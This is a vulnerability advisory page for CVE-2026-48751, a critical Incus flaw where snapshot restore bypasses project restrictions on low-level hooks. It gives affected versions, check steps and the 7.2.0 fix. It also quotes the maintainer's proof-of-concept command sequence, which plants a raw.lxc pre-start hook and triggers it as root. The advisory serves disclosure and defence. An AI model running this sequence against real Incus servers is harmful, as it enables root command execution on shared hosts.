---
id: "CVE-2026-48751"
page: "https://infrastack.ai/live/CVE-2026-48751"
kind: "vulnerability"
aliases: ["CVE-2026-48751", "GHSA-48q5-w887-33wv"]
title: "Incus has a restricted project bypass leading to arbitrary command execution"
severity: "critical"
cvss: 9.9
epss: 0.00637
exploited: false
status: "open"
category: "infrastructure"
products: [{"name": "github.com/lxc/incus/v7/cmd/incusd", "fixed": ["7.2.0"], "affected": "< 7.2.0", "ecosystem": "go"}]
ecosystems: ["go"]
tags: ["containers", "cwe-862", "incus", "infrastructure", "linux", "self-hosted"]
not_affected_if: ["incusd-7.2.0-or-later", "no-restricted-projects", "single-tenant"]
published_at: "2026-06-26T18:33:55+00:00"
first_seen_at: "2026-11-05T21:55:50+00:00"
updated_at: "2026-11-05T21:56:12+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-48q5-w887-33wv", "first_seen_at": "2026-11-05T21:55:50+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48751", "first_seen_at": "2026-11-05T22:16:00+00:00"}]
exploit_sources: [{"type": "epss", "score": 0.00637, "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-48751"}]
---

# Incus has a restricted project bypass leading to arbitrary command execution

Link for people: https://infrastack.ai/live/CVE-2026-48751 (this .md is for agents)

Incus ignores the restricted.containers.lowlevel=block setting when restoring instance snapshots, so a crafted snapshot can set raw.lxc or raw.qemu hooks in a restricted project. An attacker who can move a snapshot into that project can run arbitrary commands as root on the Incus server.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- go:github.com/lxc/incus/v7/cmd/incusd affected < 7.2.0 fixed 7.2.0

## How to check

- Check the installed incusd version with `incusd --version` and compare it to the fixed release.
- Look for projects that set `restricted.containers.lowlevel` to `block` on servers you run, since those are the projects the bypass defeats.
- Check who can create, move or restore instances and snapshots in unrestricted projects.

## Fix

- Incus (go module github.com/lxc/incus/v7): upgrade to `7.2.0`.

## Timeline

- 2026-11-05T21:55:50+00:00 ghsa https://github.com/advisories/GHSA-48q5-w887-33wv
- 2026-11-05T22:16:00+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-48751

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/lxc/incus/security-advisories/GHSA-48q5-w887-33wv
- [advisory] Maintainer's advisory: github.com https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv

## From the sources

### Summary

Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`.


### Details

Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`.

As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.

In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.


### PoC

```
# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block

# locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc

# locally, transfer and trigger
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxc
```


### Impact

- Bypass of project restrictions.
- Arbitrary command execution on the Incus server.

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_